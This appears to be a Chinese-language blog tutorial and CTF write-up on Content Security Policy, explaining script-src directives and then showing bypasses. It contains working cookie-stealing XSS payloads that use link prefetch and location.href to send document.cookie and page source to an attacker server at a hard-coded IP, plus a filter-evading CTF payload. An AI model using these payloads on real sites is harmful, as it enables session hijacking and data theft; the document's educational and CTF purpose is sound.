CSP學習和繞過
CSP學習和繞過
一、CSP學習
內容安全策略(CSP)是一種用於部分解決XSS問題的瀏覽器安全機制,通過 CSP 所約束的的規責指定可信的內容來源(這裏的內容可以指腳本、圖片、iframe、fton、style等等可能的遠程的資源)。通過CSP協定,讓WEB處於一個安全的運行環境中,目前 CSP 已經到了 3.0 階段。現代瀏覽器目前都可以通過獲取 Header 頭來進行 CSP 配置:
<?php
header("Content-Security-Policy: default-src ‘self‘; script-src ‘self‘ ‘unsafe-inline‘ ");
?>
類似這樣,這條語句允許加載內聯腳本,但是不允許加載外部資源。CSP有許多指令,這是指令參考:
這是指令值的參考:
這裏先說說我自己遇到過與XSS相關的script-src:,該指令用於JavaScript的加載策略。通過測試進行說明:
1、Content-Security-Policy: default-src ‘self‘; script-src ‘self‘
這種情況只允許加載同源資源,內聯腳本(inline script)都不允許執行,這是測試代碼:
<?php
header("Content-Security-Policy: default-src ‘self‘; script-src ‘self‘ "
);?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>xss test</title>
<!-- <link rel="prefetch" href="http://23.105.193.119/xss/?a=[cookie]"> -->
</head>
<body>
<!-- <script src="http://23.105.193.119/xss/?a=[cookie]"></script> -->
<script>alert(‘a‘);</script>
<!-- <script src="http://localhost/1.js"> </script> -->
</body>
</html>
內聯腳本調用alert彈窗無反應,控制臺報錯:
將這段內聯腳本註釋,調用同源的腳本:
<script src="http://localhost/1.js"> </script>
可以彈窗,說明加載成功。
2、Content-Security-Policy: default-src ‘self‘; script-src ‘self‘ ‘unsafe-inline‘
這段指令允許加載內聯腳本,允許加載內聯資源,不允許加載外域資源。
經過測試,內聯腳本彈窗可以執行。
當想要訪問外域資源的時候:
<script src="http://23.105.193.119/xss/?a=[cookie]"></script>
報錯:
3、"Content-Security-Policy: default-src ‘self‘; script-src ‘self‘ ‘unsafe-inline‘ 23.105.193.119"
這是我將自己vps的IP加了進去,現在就單獨跨域訪問我的vps資源了。經過測試,成功訪問。
二、CSP 繞過
這裏設想一種存儲型XSS漏洞的場景,攻擊者提交帶有攻擊代碼到管理員,管理員頁面存在存儲型XSS漏洞。假設管理員頁面配置了script-src的一些策略,加下來討論一下這些策略的繞過方法。其實策略的關鍵所在是unsafe-inline
。所以這裏討論以下兩種策略:
1、default-src ‘self‘; script-src ‘self‘ ‘unsafe-inline‘
2、default-src ‘self‘; script-src ‘self‘
1、default-src ‘self‘; script-src ‘self‘ ‘unsafe-inline‘
對於這一種情況,可以執行內聯腳本,但是不允許跨域訪問。所以腳本執行的問題解決了,需要考慮就是怎麽將用腳本獲取的重要信息(類似cookie等)發出去?
這裏先說一下預加載機制(Link prefetch),的是讓瀏覽器在空閑時間下載或預讀取一些文檔資源,用戶在將來將會訪問這些資源,提高瀏覽器速度。
這裏又可以分為::DNS-prefetch(DNS預解析)、subresource(對特定文件類型進行預加載) 和標準的 prefetch、preconnect、prerender 。這裏只說一下自己做題遇到過的標準的prefetch。其他的以後遇到再補充。
其使用方式類似這樣:
<link rel="prefetch" href="http://23.105.193.119/xss/?a=[cookie]">
這種機制的策略並沒有考慮預加載的情況,通過查閱一些資料,我了解到:
數據泄漏問題從來都不是CSP項目的主要考慮因素,設計這個功能的目的主要是為了防止跨站腳本攻擊(XSS)。
OK,說道這裏就通過說說怎麽傳數據了。思路就是通過執行內聯的Javascript創建一個link節點,設置rel = prefetch ,href = 攻擊者服務器。
由於在 Chrome 中,CSP 的規範執行是較低於 Firefox 的,所以這些測試都是基於Chrome
的,而且較為新版的Chrome。這是payload:
<script>
var head = document.getElementsByTagName("head")[0]
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "http://yourServer/?a=" + document.cookie);
head.appendChild(n0t);
</script>
在CTF中,這種XSS題比較多。比如2016年的HCTF(guestbook),最後的payload是這樣的:
<scrscriptipt>
var head = document.getElementsByTagName("head")[0]
var n0t = document.createElement("lilinknk");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "http://yourServer/?" + window.btoa(String(document.getElementsByTagName("html")[0].innerHTML)).substring(800,1300));
head.appendChild(n0t);
</scrscriptipt>
雙寫是為了繞過關鍵詞刪除過濾,最後flag在admin頁面的源碼中。
2、default-src ‘self‘; script-src ‘self‘
這種情況聯內聯腳本都不能執行,也不能加載類似style的一些內聯資源,只能加載同域資源,這樣設置的很少,非常影響網站的正常功能。這種情況連內聯腳本都無法執行,基本無解(有大佬有解的話,請指點我)。但是在某些特定條件下是可以的,比如我遇到這題:
題目就是我說的那種存儲型XSS情況,但是設置的CSP是這樣的:
就是我說的這種情況。這裏的處理很巧妙,首先提交這個payload:
//<link rel="prefetch" href="http://23.105.193.119/xss/">;
location.href=‘http://23.105.193.119/xss/?a=‘+escape(document.cookie);
沒有<script>標簽,只會被當成HTML處理,結果就是預加載訪問XSS平臺。這裏有在refer中有admin的頁面。然後再次提交:
<script src=‘http://39.108.192.25:5004/4dmIn.php?id=54397b5ef0421197b053e7bce57eb50a‘></script>
這樣加載了同域的資源,執行location.href=‘http://23.105.193.119/xss/?a=‘+escape(document.cookie), 將cookie發了出去
這題類似二次註入。
CSP學習和繞過